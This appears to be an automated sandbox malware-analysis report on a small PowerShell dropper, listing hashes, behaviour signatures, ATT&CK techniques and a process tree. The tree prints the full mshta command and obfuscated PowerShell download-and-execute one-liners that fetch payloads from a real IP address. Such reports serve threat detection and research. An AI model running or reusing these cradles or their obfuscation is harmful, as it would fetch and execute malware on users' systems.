fd4dd13239fcd0e3171711951768b399b1b2210af3e6b4f7cc1c0a594bff7133

General

Target

prueba.ps1
Size

124B
MD5

6542fcabb69f2e45e5abb6ef369d6b4b
SHA1

a9e758873a6c57d87b7e3bf02cfc04be6959d59b
SHA256

fd4dd13239fcd0e3171711951768b399b1b2210af3e6b4f7cc1c0a594bff7133
SHA512

6f9a75d4e17909c0dea87683bec1286964b8b21db927650c72db8b33df37b07a16b84bd56db42a5055e20c1895821b541467812dc03d5cefb4a144cebb2afb26

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.147.124.40/Capcha.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.147.124.40/x/8.png

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.147.124.40/x/4.png

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2164	mshta.exe
5	1616	powershell.exe
6	2924	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2508	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1832	ipconfig.exe
112	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2508	powershell.exe
2924	powershell.exe
1616	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeDebugPrivilege	2924	powershell.exe
Token: SeDebugPrivilege	1616	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2508 wrote to memory of 2164	2508	powershell.exe	31
PID 2508 wrote to memory of 2164	2508	powershell.exe	31
PID 2508 wrote to memory of 2164	2508	powershell.exe	31
PID 2164 wrote to memory of 1616	2164	mshta.exe	33
PID 2164 wrote to memory of 1616	2164	mshta.exe	33
PID 2164 wrote to memory of 1616	2164	mshta.exe	33
PID 2164 wrote to memory of 2924	2164	mshta.exe	35
PID 2164 wrote to memory of 2924	2164	mshta.exe	35
PID 2164 wrote to memory of 2924	2164	mshta.exe	35
PID 2924 wrote to memory of 1832	2924	powershell.exe	37
PID 2924 wrote to memory of 1832	2924	powershell.exe	37
PID 2924 wrote to memory of 1832	2924	powershell.exe	37
PID 1616 wrote to memory of 112	1616	powershell.exe	38
PID 1616 wrote to memory of 112	1616	powershell.exe	38
PID 1616 wrote to memory of 112	1616	powershell.exe	38

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\prueba.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2508
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://185.147.124.40/Capcha.html
  2⤵
  - Blocklisted process makes network request
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://185.147.124.40/x/8.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1616
  - - C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /flushdns
      4⤵
      Gathers network information
      PID:112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://185.147.124.40/x/4.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2924
  - - C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /flushdns
      4⤵
      Gathers network information
      PID:1832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1e97cdeb650179fea1d1dd7e98f2cd27

SHA1
a9ca893e9391ea8e6f8f1a0f9dea31c8cfd7442f

SHA256
00f543df333ee72ba371f4df90e32ef9fc14327352823c8e30eec4c2e00604ae

SHA512
b938861dbf04dc46b2ac673be270de2c98ea02b77abc3dba617ea72c567abdf73efaf77bbaf8c91cee92ea982ed55d9b423bf45340fab7764f807503ed16920c

Download Submit
memory/1616-26-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2508-7-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-10-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-9-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-8-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-11-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-12-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-4-0x000007FEF578E000-0x000007FEF578F000-memory.dmp

Filesize
4KB

Download
memory/2508-6-0x0000000002770000-0x0000000002778000-memory.dmp

Filesize
32KB

Download
memory/2508-5-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2924-25-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2924-28-0x0000000002B40000-0x0000000002B5A000-memory.dmp

Filesize
104KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads